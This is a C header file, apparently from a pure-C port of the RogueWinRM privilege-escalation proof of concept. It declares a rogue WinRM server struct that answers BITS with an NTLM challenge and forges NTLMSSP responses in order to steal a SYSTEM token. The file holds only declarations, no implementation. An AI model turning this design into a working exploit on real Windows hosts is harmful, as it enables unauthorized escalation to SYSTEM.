#pragma once

/**
	This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
	in  particular for the local negotiator.
	See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
	for how I emulated a class in pure C.

	This class defines the rogue WinRM server and inherits from service.c (methods and arguments).
	This class is in charge of handling BITS connection attempt by sending it a 401 NTLM authentication
	challenge response. When BITS authenticates to our rogue WinRM service, this service creates a
	security context in the local negotiator object (see localNegotiator.c) which will be used to
	steal a SYSTEM token.
*/

typedef unsigned char byte;

struct _elevatorServer;

typedef void (*elevatorConstructor) (struct _elevatorServer*, char*, char*);
typedef void (*elevatorDestructor) (struct _elevatorServer*);
typedef void (*ntlmHandle) (struct _elevatorServer*, LocalNegotiator*);
typedef void (*elevSocketStop) (struct _elevatorServer*, char*);
typedef void (*ntlmsspRequest) (struct _elevatorServer*, char*, int, unsigned char**, unsigned short*);
typedef char* (*forgeNtlmssp) (struct _elevatorServer*, unsigned char*, unsigned short, int*);
typedef BOOL (*genNegTokTarg) (struct _elevatorServer*, unsigned char*, unsigned short, unsigned char**, unsigned short*);


typedef struct _elevatorServer
{
	// Methods as pointer to functions
	elevatorConstructor construct;
	elevatorDestructor destruct;
	ntlmHandle handleNTLMPConnection;
	elevSocketStop socketError;
	ntlmsspRequest computeNtlmsspRequest;
	forgeNtlmssp forgeNtlmsspChallengeResponses;
	genNegTokTarg generateNegTokenTarg;

	// Arguments
	Server baseServer;  // This is a pointer to a service object (service.c)
} elevatorServer;


// Entry point
void handleListener(LPVOID threadParameters);

// Emulated class Methods
void initElevatorService(elevatorServer* this, char* listen_address, char* listen_port);
void destructElevatorService(elevatorServer* this);
void elevatorSocketError(elevatorServer* this, char* error_message);
static void handleNTLMPConnection(elevatorServer* this, LocalNegotiator* negotiator);
static void compute_ntlmssp_request(elevatorServer* this, char* recvbuf, int iResult, unsigned char** ntlmssp_request, unsigned short* ntlmssp_request_len);
static char* forge_ntlmssp_challenge_responses(elevatorServer* this, unsigned char* ntlmssp_type2, unsigned short ntlmssp_type2_len, int* http_response_type2_packet_len);
static BOOL genNegTokenTarg(elevatorServer* this, unsigned char* ntlmssp, unsigned short ntlmssp_len, unsigned char** generatedToken, unsigned short* generatedTokenLen);

// Static functions
static BOOL findBase64Negotiate(char* buffer, int buffer_content_len, byte* outbuffer, unsigned short* outbuffer_content_len);
static BOOL parseNegToken(unsigned char* token, int tokenSize, unsigned char** parsedToken, unsigned short* parsedTokenLen);
